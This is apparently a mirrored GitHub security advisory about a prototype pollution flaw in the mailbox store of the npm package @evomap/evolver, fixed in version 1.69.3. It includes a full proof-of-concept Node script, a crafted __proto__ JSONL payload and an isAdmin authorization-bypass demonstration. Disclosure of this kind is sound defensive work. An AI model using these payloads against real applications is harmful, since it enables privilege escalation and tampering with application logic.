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GHSA-2cjr-5v3h-v2w4

Опубликовано: 22 апр. 2026
Источник: github
Github: Прошло ревью
CVSS3: 5.2

Описание

Evolver has Prototype Pollution via Object.assign() in its mailbox store operations

Summary

A prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype.

Details

The vulnerability exists in src/proxy/mailbox/store.js at lines 123 and 145:

// src/proxy/mailbox/store.js:115-128 _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } // ... } // src/proxy/mailbox/store.js:138-150 _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: Direct Object.assign without key filtering if (existing) Object.assign(existing, fields); // ... }

The vulnerability can be triggered when an attacker has the ability to write to the messages.jsonl file (used for mailbox persistence). By crafting a malicious JSONL entry with __proto__ as a field key, the attacker can pollute the prototype of all objects.

The data flows from:

  1. messages.jsonl file →
  2. readLines() function (line 47) →
  3. _rebuildIndex() (line 113) → _applyUpdate() (line 121) →
  4. Object.assign() pollutes prototype

PoC

Prerequisites:

  • Node.js installed
  • Access to write to the mailbox messages file

Steps to reproduce:

  1. Create a test file demonstrating the vulnerability:
// test-prototype-pollution.js const fs = require('fs'); const path = require('path'); // Simulate the vulnerable Store class logic class VulnerableStore { constructor(filePath) { this.filePath = filePath; this._index = {}; } load() { if (!fs.existsSync(this.filePath)) return; const lines = fs.readFileSync(this.filePath, 'utf8').split('\n'); for (const line of lines) { if (!line.trim()) continue; try { const row = JSON.parse(line); this._applyUpdate(row); } catch (e) { // Ignore parse errors } } } _applyUpdate(row) { if (row._op === 'update') { const existing = this._index[row.id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, row.fields); else this._index[row.id] = row.fields; } } update(id, fields) { this._updateRecord(id, fields); } _updateRecord(id, fields) { const existing = this._index[id]; // VULNERABLE: No filtering of dangerous keys if (existing) Object.assign(existing, fields); else this._index[id] = fields; } } // Test the vulnerability console.log('=== Testing Prototype Pollution ===\n'); // Create a malicious messages.jsonl file const maliciousContent = JSON.stringify({ _op: 'update', id: 'msg-123', fields: { __proto__: { polluted: true, isAdmin: true }, normalField: 'normalValue' } }) + '\n'; const testDir = '/tmp/evolver-pollution-test'; if (!fs.existsSync(testDir)) fs.mkdirSync(testDir, { recursive: true }); const testFile = path.join(testDir, 'messages.jsonl'); fs.writeFileSync(testFile, maliciousContent); console.log('Created malicious messages.jsonl'); // Load the store (this triggers the vulnerability) const store = new VulnerableStore(testFile); store.load(); // Check if prototype was polluted console.log('\n=== Checking for prototype pollution ==='); const testObj = {}; console.log('testObj.polluted:', testObj.polluted); console.log('testObj.isAdmin:', testObj.isAdmin); if (testObj.polluted === true) { console.log('\n🔴 VULNERABILITY CONFIRMED: Object prototype was polluted!'); console.log('All objects now have "polluted" and "isAdmin" properties.'); } else { console.log('\n🟡 Prototype pollution may require different payload structure'); } // Demonstrate impact - bypassing authentication check console.log('\n=== Impact Demonstration ==='); function checkAdmin(user) { // Typical pattern that would be vulnerable if (user.isAdmin) { return 'Access granted - Admin privileges'; } return 'Access denied'; } const regularUser = { name: 'normal_user' }; console.log('Regular user check:', checkAdmin(regularUser)); // Cleanup fs.rmSync(testDir, { recursive: true });
  1. Run the test:
node test-prototype-pollution.js

Expected output:

=== Checking for prototype pollution === testObj.polluted: true testObj.isAdmin: true 🔴 VULNERABILITY CONFIRMED: Object prototype was polluted! All objects now have "polluted" and "isAdmin" properties. === Impact Demonstration === Regular user check: Access granted - Admin privileges

Note: Modern Node.js versions have some prototype pollution protections. For a successful exploit, the attacker might need to use alternative property paths like constructor.prototype.isAdmin.

Attack scenario: If an attacker can write to the mailbox messages file (e.g., through file upload, path traversal, or compromised backup restore), they can:

{"_op":"update","id":"malicious","fields":{"__proto__":{"isAdmin":true,"canExecuteArbitraryCode":true}}}

Impact

This is a Prototype Pollution vulnerability that can lead to:

  • Property injection affecting all JavaScript objects
  • Authentication/authorization bypass
  • Application logic manipulation
  • Denial of service via prototype corruption
  • Potential remote code execution if polluted properties affect security-critical code paths

Attack requirements: The attacker needs write access to the messages.jsonl file. This could be achieved through:

  • File upload vulnerabilities
  • Path traversal (combined with the Arbitrary File Write vulnerability in the fetch command)
  • Compromised backup files
  • Shared hosting environments

Affected users: Anyone using the mailbox functionality in multi-user environments or with persistent message storage.

Пакеты

Наименование

@evomap/evolver

npm
Затронутые версииВерсия исправления

< 1.69.3

1.69.3

EPSS

Процентиль: 1%
0.00109
Низкий

5.2 Medium

CVSS3

Дефекты

CWE-1321

Связанные уязвимости

CVSS3: 5.2
nvd
3 месяца назад

Evolver is a GEP-powered self-evolving engine for AI agents. Prior to version 1.69.3, a prototype pollution vulnerability in the mailbox store module allows attackers to modify the behavior of all JavaScript objects by injecting malicious properties into Object.prototype. The vulnerability exists in the _applyUpdate() and _updateRecord() functions which use Object.assign() to merge user-controlled data without filtering dangerous keys like __proto__, constructor, or prototype. This issue has been patched in version 1.69.3.

EPSS

Процентиль: 1%
0.00109
Низкий

5.2 Medium

CVSS3

Дефекты

CWE-1321